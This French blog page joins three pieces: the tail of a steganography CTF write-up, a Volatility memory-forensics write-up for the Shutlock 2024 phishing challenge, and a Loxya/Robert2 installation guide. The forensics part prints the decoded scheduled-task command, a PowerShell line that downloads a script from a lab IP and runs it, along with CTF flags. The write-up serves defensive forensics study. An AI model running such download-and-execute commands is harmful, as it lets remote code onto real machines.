• binwalk: Aucun résultat
• Exif: Aucun résultat
• steghide: Fichier embarqué - flag.txt
• Aperisolve: Fichier embarqué - flag.txt

Steghide et Aperisolve ont trouvés un fichier flag.txt, on l’extrait et on récupère le flag: SHLK{4uri3z-v0us_cl1qu3r}.

Conclusion

Ce chal en deux parties était très cool car plutôt abordable en étant pas trop mal réaliste (et surtout avec du contexte !).

Seul la grosse différence de niveau entre les deux (alors qu’il sont classés comme Medium) et la fin qui sort un peu du “scope” donné par l’énoncé viennent noircir un peu le tableau.

En tout cas je remercie la DGSI, EPITA, les modérateurs Discord (cc Clar’hacker !) ainsi que toutes les personnes ayant travaillés sur le CTF, je le ferais avec plaisir l’année provhaine !

Sources

• https://cybermeisam.medium.com/blue-team-system-live-analysis-part-8-windows-user-account-forensics-profile-folder-appdata-7f07a0870584
• https://medium.com/@joeforensics/digital-forensics-windows-10-timeline-activitescache-db-82b4bc9f715a
• https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics

Ceci est le write-up de la première partie du challenge Forensic Enquête sur le phishing des JO du CTF Shutlock édition 2024 organisé par la DGSI et EPITA.

Énoncé

Mike O'Soft a été averti d'une campagne de phishing par le groupe THE HAMOR. Une des personnes ayant reçu le mail de phishing en question, s'est faite piegée.

Vous avez pour mission de mener l'enquête. Heureusement pour vous, les équipes du ministère ont réalisé un dump mémoire sur la machine. Dans la suite de votre enquête, un dump réseau vous sera confié.

Sauriez-vous retracer ce qu'il s'est passé sur ce poste ?

Pour résoudre ce challenge, vous devez répondre aux questions suivantes :

1 - Quel est le nom du raccourci malveillant ?

2 - Quel est le nom de la scheduled task créé ?

3 - Quel script est lancé par cette scheduled task ?

Format du flag SHLK{'nom-fichier'-'scheduled task-'script'}

Exemple:

1 - File : ctf\shutlock.test

2 - scheduled task : ScheduleTaskName

3 - script : ThisIsTheScript.sh

SHLK{shutlock.test-ScheduleTaskName-ThisIsTheScript.sh}

Il nous est alors donné un dump mémoire (dump.raw) ainsi que le screenshot du bureau du PC ci-dessous:

Investigation

D’après l’énoncé, on sait que la personne à ouvert un mail contenant un raccourcis piégé, raccourcis qui a créé une tâche planifiée lançant un script malveillant.

D’après le screenshot, le raccourcis serait lié à un PDF de tirage au sort pour les JO 2024 situé dans le dossier Downloads.

Avant de commencer l’investigation en elle-même, il est important de déterminer l’OS du PC.

Déterminer l’OS

On va commencer par vérifier si le PC tourne sous Windows, car c’est l’OS plus courant (en CTF comme dans la réalité).

On utilise alors la commande windows.info

sudo vol -f dump.raw windows.info

Volatility 3 Framework 2.5.2
Progress:  100.00               PDB scanning finished                                                                                              
Variable        Value

Kernel Base     0xf80479000000
DTB     0x1aa000
Symbols file:///usr/lib/python3.12/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/C7DF30B22252078525B414CC51B257D3-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf80479c0f400
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      6
SystemTime      2024-06-07 19:33:51
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Thu Apr 13 14:51:37 2062

On apprend alors que le PC est sous Windows 10 ainsi que d’autres informations comme la date système (donc du dump), etc.

Si cette commande n’avait rien donné on aurait pu essayer d’extraire une bannière Linux avec la commande banners.

Extraction des objets courants

Maintenant que nous sommes certain de l’OS utilisé, on va pouvoir commencer l’analyse, afin de me faciliter la tâche pour plus tard, j’extrais le résultat de filescan, cmdline, pstree et netscan dans des fichiers.

sudo vol -f dump.raw windows.filescan > filescan
sudo vol -f dump.raw windows.cmdline > cmdline
sudo vol -f dump.raw windows.pstree > pstree
sudo vol -f dump.raw windows.netscan > netscan

Cela me permet de gagner en rapidité en faisant un grep dans le fichier plutôt que de lancer une extraction à chaque fois.

Flag 1/3 - Raccourcis malveillant

La première partie du flag est le nom du raccourcis malveillant, sur Windows, les raccourcis ont comme extension .lnk, c’est donc ce que je vais chercher dans le fichier filescan créé précédemment:

cat filescan | grep ".lnk"
0xa70451a45a80  \Users\clara\Downloads\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk  216
0xa7045384fe90  \Users\clara\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk       216

Tiens, un raccourcis en .pdf.lnk dans le dossier Downloads !

On a maintenant la première partie du flag: Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk

On peut essayer de l’extraire et voir ou il mène (avec LnkParse3 sous Linux) mais il n’y a pas de lien de redirection dans le fichier.

Flag 2/3 - Tâche planifiée

Les tâches planifiées sous Windows ne sont pas présentes sous forme de fichier mais dans les registres aux adresses suivantes:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks

Le premier registre contient la liste des tâches planifiées et le second leur contenu (Actions, Author, URL, Trigger, etc).

On va donc afficher la liste des ruches disponibles avec la commande windows.registry.hivelist:

sudo vol -f dump.raw windows.registry.hivelist

Volatility 3 Framework 2.5.2
Progress:  100.00               PDB scanning finished                        
Offset  FileFullPath    File output

0xb9044f873000          Disabled
0xb9044f889000  \REGISTRY\MACHINE\SYSTEM        Disabled
0xb9044fc80000  \REGISTRY\MACHINE\HARDWARE      Disabled
0xb90450c50000  \SystemRoot\System32\Config\SECURITY    Disabled
0xb90450c52000  \SystemRoot\System32\Config\SAM Disabled
0xb90450c56000  \SystemRoot\System32\Config\DEFAULT     Disabled
0xb90450c0f000  \SystemRoot\System32\Config\SOFTWARE    Disabled
0xb9045317d000  \Device\HarddiskVolume1\Boot\BCD        Disabled
0xb9045c3b6000  \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT        Disabled
0xb90453321000  \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT  Disabled
0xb90453323000  \SystemRoot\System32\Config\BBI Disabled
0xb90454d3d000  \??\C:\Windows\AppCompat\Programs\Amcache.hve   Disabled
0xb90454e10000  \??\C:\Users\clara\ntuser.dat   Disabled
0xb90454e20000  \??\C:\Users\clara\AppData\Local\Microsoft\Windows\UsrClass.dat Disabled
0xb90456305000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.19053.1000.0_x64__cw5n1h2txyewy\ActivationStore.dat        Disabled
0xb904561ee000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.19041.3636_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled
0xb904561e1000  \??\C:\Users\clara\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat Disabled
0xb90456571000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Search_1.14.10.19041_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat    Disabled
0xb9045657c000  \??\C:\Users\clara\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat  Disabled
...

On en a pas mal mais celle qui nous intéresse est la Software (0xb90450c0f000 \SystemRoot\System32\Config\SOFTWARE).

On va donc naviguer à travers cette dernière jusqu’a arriver à l’adresse …\TaskCache\Tree, qui contient la liste des tâches planifiées, pour ensuite afficher ses clés:

sudo vol -f dump.raw windows.registry.printkey.PrintKey --offset 0xb90450c0f000 --key 'Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree'

Volatility 3 Framework 2.5.2
Progress:  100.00               PDB scanning finished                        
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile

2024-06-07 19:30:24.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        IGotYourFileInfo                False
2019-12-07 09:18:13.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        Microsoft               False
2023-12-04 20:41:13.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        MicrosoftEdgeUpdateTaskMachineCore              False
2023-12-04 20:41:13.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        MicrosoftEdgeUpdateTaskMachineUA                False
2024-01-11 20:51:18.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        npcapwatchdog           False
2023-12-04 20:50:33.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        OneDrive Reporting Task-S-1-5-21-1569816960-1500504362-1823058107-1000            False
2024-06-05 20:33:34.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        OneDrive Standalone Update Task-S-1-5-21-1569816960-1500504362-1823058107-1000            False
2024-06-07 19:30:24.000000      0xb90450c0f000  REG_BINARY      \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        SD      "
...

Le décalage indiqué avec --offset correspond à l’adresse de la ruche \SystemRoot\System32\Config\SOFTWARE comme vu plus haut.

On a une tâche qui saute aux yeux, il s’agit de IGotYourFileInfo, c’est la deuxième partie du flag.

Flag 3/3 - Script

Pour la dernière partie du flag, il faut trouver le nom du script lancé par la tâche planifiée IGotYourFileInfo.

Comme vu plus haut, le registre Tree stock la liste des tâches planifiées, chaque tâche à une sous-clé ID (par exemple {6078ADB5-6D31-4965-AC02-A716F3DC7ADB}) qui permet de l’identifier dans le registre Tasks.

Malheureusement l’extraction des sous-clés de la tâche avec la commande sudo vol -f dump.raw windows.registry.printkey.PrintKey --offset 0xb90450c0f000 --key 'Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\IGotYourFileInfo' ne donne rien, j’ai donc du extraire toutes les clés et sous clés du registre Tasks avec la fonction recurse dans un fichier et l’analyser à la main.

Pour faire ça, j’ai utilisé la commande suivante: sudo vol -f dump.raw windows.registry.printkey.PrintKey --offset 0xb90450c0f000 --key 'Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks' --recurse > printkey.

Ensuite, il faut ouvrir le fichier printkey dans une éditeur de texte et rechercher la tâche IGotYourFileInfo, ce qui nous donne tout ça:

...
2024-06-07 19:30:25.000000 	0xb90450c0f000	Key	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks	{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}		False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_SZ	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Path	"\IGotYourFileInfo"	False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_BINARY	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Hash	"
86 0f fd 71 5f 13 18 7a	...q_..z
33 f3 ad 14 d2 54 f2 c5	3....T..
ae c4 22 6f 15 ac 09 c4	.."o....
bf ac 99 88 be 18 ce c7	........"	False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_DWORD	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Schema	65538	False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_SZ	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Date	"2024-06-07T21:30:24"	False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_SZ	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Author	"DEANGILMOR\clara"	False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_SZ	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	URI	"\IGotYourFileInfo"	False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_BINARY	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Triggers	"
17 00 00 00 00 00 00 00	........
01 07 06 00 00 00 07 00	........
00 fc cc d9 21 b9 da 01	....!...
00 07 06 00 00 00 07 00	........
ff ff ff ff ff ff ff ff	........
38 21 41 42 48 48 48 48	8!ABHHHH
09 df 08 16 48 48 48 48	....HHHH
0e 00 00 00 48 48 48 48	....HHHH
41 00 75 00 74 00 68 00	A.u.t.h.
6f 00 72 00 00 00 48 48	o.r...HH
00 00 00 00 48 48 48 48	....HHHH
00 48 48 48 48 48 48 48	.HHHHHHH
00 48 48 48 48 48 48 48	.HHHHHHH
01 00 00 00 48 48 48 48	....HHHH
1c 00 00 00 48 48 48 48	....HHHH
01 05 00 00 00 00 00 05	........
15 00 00 00 80 81 91 5d	.......]
2a e1 6f 59 bb a8 a9 6c	*.oY...l
e8 03 00 00 48 48 48 48	....HHHH
22 00 00 00 48 48 48 48	"...HHHH
44 00 45 00 41 00 4e 00	D.E.A.N.
47 00 49 00 4c 00 4d 00	G.I.L.M.
4f 00 52 00 5c 00 63 00	O.R.\.c.
6c 00 61 00 72 00 61 00	l.a.r.a.
00 00 48 48 48 48 48 48	..HHHHHH
2c 00 00 00 48 48 48 48	,...HHHH
58 02 00 00 10 0e 00 00	X.......
80 f4 03 00 ff ff ff ff	........
07 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 00 00 00 48 48 48 48	....HHHH
dd dd 00 00 00 00 00 00	........
01 07 06 00 00 00 07 00	........
00 fc cc d9 21 b9 da 01	....!...
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........
10 0e 00 00 00 00 00 00	........
ff ff ff ff 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 01 5a 2b 01 00 00 00	..Z+....
00 00 00 00 9f 68 00 00	.....h..
00 00 00 00 48 48 48 48	....HHHH"	False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_BINARY	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Actions	"
03 00 0c 00 00 00 41 00	......A.
75 00 74 00 68 00 6f 00	u.t.h.o.
72 00 66 66 00 00 00 00	r.ff....
22 00 00 00 49 00 6e 00	"...I.n.
76 00 6f 00 6b 00 65 00	v.o.k.e.
2d 00 57 00 65 00 62 00	-.W.e.b.
52 00 65 00 71 00 75 00	R.e.q.u.
65 00 73 00 74 00 f4 00	e.s.t...
00 00 2d 00 55 00 72 00	..-.U.r.
69 00 20 00 68 00 74 00	i...h.t.
74 00 70 00 3a 00 2f 00	t.p.:./.
2f 00 31 00 37 00 32 00	/.1.7.2.
2e 00 32 00 31 00 2e 00	..2.1...
31 00 39 00 35 00 2e 00	1.9.5...
31 00 37 00 3a 00 35 00	1.7.:.5.
30 00 30 00 30 00 2f 00	0.0.0./.
48 00 6f 00 6c 00 6d 00	H.o.l.m.
65 00 73 00 2f 00 47 00	e.s./.G.
65 00 74 00 46 00 69 00	e.t.F.i.
6c 00 65 00 49 00 6e 00	l.e.I.n.
66 00 6f 00 2e 00 70 00	f.o...p.
73 00 31 00 20 00 2d 00	s.1...-.
4f 00 75 00 74 00 46 00	O.u.t.F.
69 00 6c 00 65 00 20 00	i.l.e...
47 00 65 00 74 00 46 00	G.e.t.F.
69 00 6c 00 65 00 73 00	i.l.e.s.
49 00 6e 00 66 00 6f 00	I.n.f.o.
2e 00 70 00 73 00 31 00	..p.s.1.
20 00 3b 00 20 00 53 00	..;...S.
74 00 61 00 72 00 74 00	t.a.r.t.
2d 00 50 00 72 00 6f 00	-.P.r.o.
63 00 65 00 73 00 73 00	c.e.s.s.
20 00 2d 00 46 00 69 00	..-.F.i.
6c 00 65 00 50 00 61 00	l.e.P.a.
74 00 68 00 20 00 47 00	t.h...G.
65 00 74 00 46 00 69 00	e.t.F.i.
6c 00 65 00 73 00 49 00	l.e.s.I.
6e 00 66 00 6f 00 2e 00	n.f.o...
70 00 73 00 31 00 00 00	p.s.1..."	False
* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_BINARY	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	DynamicInfo	"
03 00 00 00 fd 09 2f 25	....../%
11 b9 da 01 00 00 00 00	........
00 00 00 00 00 00 00 00	........
00 00 00 00 00 00 00 00	........"	False
...

On retrouve les différents champs, correspondant aux sous-clés de registre tel que URL, Trigger, Author, etc. Qui sont bien présents si on regarde dans regedit.

Ce qui nous intéresse ici est la sous-clé Actions, sous cette dernière on retrouve l’appel du script en hexadécimal, un passage dans cyberchef plus tard on obtient ça:

Authorff"Invoke-WebRequest-Uri http://172.21.195.17:5000/Holmes/GetFileInfo.ps1 -OutFile GetFilesInfo.ps1 ; Start-Process -FilePath GetFilesInfo.ps1

Le nom du script est GetFilesInfo.ps1.

Flag

En regroupant les 3 informations, le flag est: SHLK{Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk-IGotYourFileInfo-GetFilesInfo.ps1}.

Sources

• https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet
• https://volatility3.readthedocs.io/en/stable/volatility3.plugins.banners.html
• https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder
• https://fr.wikipedia.org/wiki/.lnk

Préambule

Loxya(Robert2) est un serveur de gestion et suivis d’inventaire.

La version gratuite est open-source et comprend les fonctions suivantes:

• Gestion du stock
• Gestion des sorties
• Calendrier
• Gestion des clients et emprunteurs
• Gestion du personnel
• Edition de fiches de sorties, devis et factures

Ce qu’elle ne comprend PAS:

• Authentification LDAP (ou tout autre centralisation d’authentification)
• Demande de réservation en ligne
• Scanner de code barre
• Assistance Loxya

Installation

Installer les dépendances

Robert 2 a besoin d’un serveur Web (ici Apache2), une base de données (ici MariaDB) et de certains modules PHP (version minimum supportée: php 8.0):

sudo apt install apache2 mariadb-server zip php libapache2-mod-php php-bcmath php-curl php-php-gettext php-intl php-mbstring php-xml php-bcmath php-mysql w3m -y

Base de données

Robert2 est compatible uniquement MYSQL ou MariaDB pour stocker ses données, je vais ici utiliser MariaDB et la configurer.

Installation sécurisée de MariaDB

 sudo mysql_secure_installation

 Enter current password for root (enter for none): MotDePasseRoot
 Switch to unix_socket authentication [Y/n] n
 Remove anonymous users? [Y/n] y
 Disallow root login remotely? [Y/n] y
 Remove test database and access to it? [Y/n] y
 Reload privilege tables now? [Y/n] y

Création de la base de données

• Se connecter à MariaDB : sudo mysql -u root -p
• Créer une base de donnée: CREATE DATABASE robert2_db;
• Créer un utilisateur autre que root: CREATE USER 'robert2'@'localhost' IDENTIFIED BY 'motdepasse';
• Donner tous les droits à l’utilisateur sur la base de données GRANT ALL PRIVILEGES ON robert2_db.* TO 'robert2'@'localhost';
• Recharger les privilèges: FLUSH PRIVILEGES;
• Fermer la connexion: quit;

Modifier le fichier /etc/mysql/my.cnf en ajoutant les lignes suivantes:

[client-server]
...
default-character-set=utf8mb4

[mysqld]
...
collation-server = utf8mb4_unicode_ci

Serveur Web

Robert2 nécessite un serveur Web pour fonctionner, il ne supporte que NGINX et Apache2, je vais ici utiliser ce dernier.

HTTP

Créer et modifier le fichier /etc/apache2/sites-available/robert2.mydomain.local.conf:

<VirtualHost *:80>
        ServerAdmin admin@mydomain.local
        ServerName robert2.mydomain.local
        ServerAlias www.robert2.mydomain.local
        DocumentRoot /var/www/Robert2

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        <Directory /var/www/Robert2>
                Options +FollowSymLinks
                AllowOverride All
                Require all granted
        </Directory>
        <Location "/server-status">
                SetHandler server-status
                Require all granted
        </Location>
</VirtualHost>

HTTPS

• Mettre respectivement le certificat (ex: robert2.mydomain.local.crt) et la clé privée (ex: robert2.mydomain.local.key) du serveur dans /etc/ssl/certs et /etc/ssl/private
• Activer le module php ssl: sudo a2enmod ssl
• Modifier /etc/apache2/sites-available/robert2.mydomain.local.conf:

<VirtualHost *:80>
		ServerName robert2.mydomain.local
		ServerAlias www.robert2.mydomain.local
		Redirect permanent / https://robert2.mydomain.local/
</VirtualHost>

<VirtualHost *:443>
ServerAdmin admin@mydomain.local
        ServerName robert2.mydomain.local
        ServerAlias www.robert2.mydomain.local
        DocumentRoot /var/www/Robert2
		
        SSLEngine On
        SSLCertificateFile /etc/ssl/certs/robert2.mydomain.local.crt
        SSLCertificateKeyFile /etc/ssl/private/robert2.mydomain.local.key

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        <Directory /var/www/Robert2>
                Options +FollowSymLinks
                AllowOverride All
                Require all granted
        </Directory>
        <Location "/server-status">
                SetHandler server-status
                Require all granted
        </Location>
</VirtualHost>

Paramétrage d’Apache2

Afin de paramétrer correctement Apache2, il faut éditer le fichier /etc/apache2/apache2.conf et rajouter la ligne ServerName 127.0.0.1 à la fin.

Sans ça, l’erreur Apache Configuration Error AH00558: Could not reliably determine the server’s fully qualified domain name va apparaître quand on va utiliser apache2ctl configtest.

On active ensuite le VHost du serveur, désactive le site par défaut et vérifie la configuration:

sudo a2ensite robert2.mydomain.local
sudo a2dissite 000-default.conf

sudo apache2ctl configtest
AH00112: Warning: DocumentRoot [/var/www/Robert2] does not exist
Syntax OK

L’avertissement est normale car on n’a pas encore créé le répertoire.

Enfin, on active le module URLRewriting et on redémarre Apache2:

sudo a2enmod rewrite
sudo systemctl restart apache2

Robert2

Ceci est la dernière étape de l’article, l’installation de Robert2.

Téléchargement

• Télécharger le .zip à cette adresse
• Le mettre dans /var/www/
• L’extraire et renommer le dossier Robert2
• Donner les droits sur le dossier à l’utilisateur www-data: sudo chown -R www-data:www-data /var/www/Robert2

Finalisation de l’installation

Afin de finaliser l’installation, il faut ouvrir un navigateur et se rendre sur l’IP du serveur, normalement, voila ce qui devrait s’afficher.

On peut lancer l’assistant en cliquant sur C’est parti !.

Cette page demande l’URL d’application qui est l’URL à laquelle on va se connecter à Robert2 (ici https://robert2.mydomain.local, il manque une partie sur la capture d’écran).

Après ça, il y a deux pages nous demandant de valider des paramètres et renseigner les informations de notre société avant d’arriver au paramétrage de la BDD.

Ici, on va pouvoir renseigner les informations de la BDD créée précedemment:

• Serveur MYSQL (host): localhost
• Utilisateur MYSQL (user): Le nom de l’utilisateur (ici robert2)
• Mot de passe MYSQL (password): Le mot de passe de l’utilisateur
• Nom de la base de données: Ici robert2_db

Une fois cela fait, il n’y a plus qu’a laisser Robert2 créer la structure de la BDD, créer un utilisateur et le serveur est prêt !

Erreurs

Page blanche

Donnez l’appartenance du dossier et sous-dossiers /var/www/Robert2 à www-data (chown).

apachectl status renvoie un problème avec www-browser

Installer le paquet w3m.

Désolé, mais l’API est inaccessible…

Cela signifie que l’URL a laquelle vous vous connectez n’est pas la même que celle inscrite après baseUrl dans le fichier /var/www/Robert2/src/App/Config/settings.json.

Cela peut être au niveau du protocole (HTTPS/HTTP) ou parce que vous vous y connecter depuis l’adresse IP alors que le nom de domaine y est paramétré.

Sources

• https://robertmanager.org/wiki/install
• https://www.debian-fr.org/t/certificat-packages-sury-org-expire/86215
• https://www.digitalocean.com/community/tutorials/apache-configuration-error-ah00558-could-not-reliably-determine-the-server-s-fully-qualified-domain-name